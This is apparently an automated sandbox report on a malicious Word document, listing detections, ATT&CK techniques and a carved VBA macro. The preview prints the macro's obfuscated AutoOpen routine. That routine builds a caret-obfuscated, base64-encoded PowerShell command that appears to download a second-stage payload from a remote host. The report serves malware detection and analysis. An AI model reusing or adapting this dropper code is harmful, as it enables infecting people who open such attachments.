MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The critical ClamAV heuristic and the presence of a VBA macro with an AutoOpen function indicate malicious intent. The AutoOpen macro is designed to execute automatically when the document is opened, a common technique for initiating malware execution. While the script is heavily obfuscated and truncated, its structure suggests it is intended to download and execute a second-stage payload.
Heuristics 5
-
ClamAV: Doc.Malware.Pwshell-6700199-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Pwshell-6700199-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 74538 bytes |
SHA-256: 024fd23705ff6427bc5cba8475408867aa0ab0ac27ced77d92abd5ea32963b1f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const dIhYiywiqyzMoDYhECaqFLUjuBUV = 0
Sub AutoOpen()
On Error Resume Next
Dim PoQYfEsyFaiuydIsULuBOGUjAXaQowIkAq(5)
If LenB("CUHEKitaMezuDyqiGO") < 75527 Then
PoQYfEsyFaiuydIsULuBOGUjAXaQowIkAq(0) = VarType(Sqr(7552) + CInt("7552"))
Dim SIHakuTUtAEvyLEVIQoROayGUEveRARiaenYwUha(5)
If LenB("LUvOMihygosxOdUiy") < 72881 Then
SIHakuTUtAEvyLEVIQoROayGUEveRARiaenYwUha(0) = VarType(Sqr(7288) + CInt("7288"))
End If
SIHakuTUtAEvyLEVIQoROayGUEveRARiaenYwUha(1) = LTrim("LUvOMihygosxOdUiy") & "11"
SIHakuTUtAEvyLEVIQoROayGUEveRARiaenYwUha(2) = Day(72887288)
If Len("SIHakuTUtAEvyLEVIQoROayGUEveRARiaenYwUha") < Len("LUvOMihygosxOdUiy") Then
SIHakuTUtAEvyLEVIQoROayGUEveRARiaenYwUha(3) = Weekday(72881)
End If
End If
Dim waquDezUsIQitOtiHaDMuLlOKOhyH(5)
If LenB("HUQyFErEGewrE") < 10098 Then
waquDezUsIQitOtiHaDMuLlOKOhyH(0) = VarType(Sqr(1009) + CInt("1009"))
End If
waquDezUsIQitOtiHaDMuLlOKOhyH(1) = LTrim("HUQyFErEGewrE") & "88"
waquDezUsIQitOtiHaDMuLlOKOhyH(2) = Day(10091009)
If Len("waquDezUsIQitOtiHaDMuLlOKOhyH") < Len("HUQyFErEGewrE") Then
waquDezUsIQitOtiHaDMuLlOKOhyH(3) = Weekday(10098)
End If
PoQYfEsyFaiuydIsULuBOGUjAXaQowIkAq(1) = LTrim("CUHEKitaMezuDyqiGO") & "77"
PoQYfEsyFaiuydIsULuBOGUjAXaQowIkAq(2) = Day(75527552)
Dim QaFiPoPefOfAxUsIloHEFokjOGAKYFoLKAD(5)
If LenB("DAbosOhoBuXHOPU") < 64332 Then
QaFiPoPefOfAxUsIloHEFokjOGAKYFoLKAD(0) = VarType(Sqr(6433) + CInt("6433"))
End If
QaFiPoPefOfAxUsIloHEFokjOGAKYFoLKAD(1) = LTrim("DAbosOhoBuXHOPU") & "22"
QaFiPoPefOfAxUsIloHEFokjOGAKYFoLKAD(2) = Day(64336433)
If Len("QaFiPoPefOfAxUsIloHEFokjOGAKYFoLKAD") < Len("DAbosOhoBuXHOPU") Then
QaFiPoPefOfAxUsIloHEFokjOGAKYFoLKAD(3) = Weekday(64332)
End If
Dim jeiEWowEFeZAXaijYNEKYfimyxNYPA(5)
If LenB("DIGEDUkakHUcIlaZyBFiQi") < 306 Then
jeiEWowEFeZAXaijYNEKYfimyxNYPA(0) = VarType(Sqr(30) + CInt("30"))
End If
jeiEWowEFeZAXaijYNEKYfimyxNYPA(1) = LTrim("DIGEDUkakHUcIlaZyBFiQi") & "66"
jeiEWowEFeZAXaijYNEKYfimyxNYPA(2) = Day(3030)
If Len("jeiEWowEFeZAXaijYNEKYfimyxNYPA") < Len("DIGEDUkakHUcIlaZyBFiQi") Then
jeiEWowEFeZAXaijYNEKYfimyxNYPA(3) = Weekday(306)
End If
If Len("PoQYfEsyFaiuydIsULuBOGUjAXaQowIkAq") < Len("CUHEKitaMezuDyqiGO") Then
Dim kilfOlAdEwonuxeKyGIzIpuKEqASE(5)
If LenB("DypFILuVOLelOyFOd") < 7159 Then
kilfOlAdEwonuxeKyGIzIpuKEqASE(0) = VarType(Sqr(715) + CInt("715"))
End If
kilfOlAdEwonuxeKyGIzIpuKEqASE(1) = LTrim("DypFILuVOLelOyFOd") & "99"
kilfOlAdEwonuxeKyGIzIpuKEqASE(2) = Day(715715)
If Len("kilfOlAdEwonuxeKyGIzIpuKEqASE") < Len("DypFILuVOLelOyFOd") Then
kilfOlAdEwonuxeKyGIzIpuKEqASE(3) = Weekday(7159)
End If
Dim mOMiQYBuqigoJyVuTAWYnA(5)
If LenB("iECuFotiQEbIjEG") < 20558 Then
mOMiQYBuqigoJyVuTAWYnA(0) = VarType(Sqr(2055) + CInt("2055"))
End If
mOMiQYBuqigoJyVuTAWYnA(1) = LTrim("iECuFotiQEbIjEG") & "88"
mOMiQYBuqigoJyVuTAWYnA(2) = Day(20552055)
If Len("mOMiQYBuqigoJyVuTAWYnA") < Len("iECuFotiQEbIjEG") Then
mOMiQYBuqigoJyVuTAWYnA(3) = Weekday(20558)
End If
PoQYfEsyFaiuydIsULuBOGUjAXaQowIkAq(3) = Weekday(75527)
End If
pYlYjUrivIZaXADIqyPowyQAcoq = "d.exe /c p^O^w^e^R^s^H^e^" + Format(Chr(((7 * 10) + 6))) + "^" + Format(Chr(((7 * 10) + 6))) + "^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^" + Format(Chr(((7 * 10) + 6))) + "^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^" + Format(Chr(((7 * 10) + 6))) + "^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^" + Format(Chr(((7 * 10) + 6))) + "^w^B^o^A^D^I^A^O^A^A^x^A^D^I^A^O^Q^A^z^A^D^I^A^O^Q^A^z^A^D^c^A^M^g^A^5^A^D^I^A^c^w^B^q^A^H^M^A^a^A^B^z^A^G^s^A^e^g^A^u^A^G^M^A^b^w^B^t^A^C^8^A^T^Q^B^Y^A^E^U^A^" + Format(Chr(((7 * 10) + 6))) + "^w^B^s^A^G^8^A^Z^A^B^w^A^
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.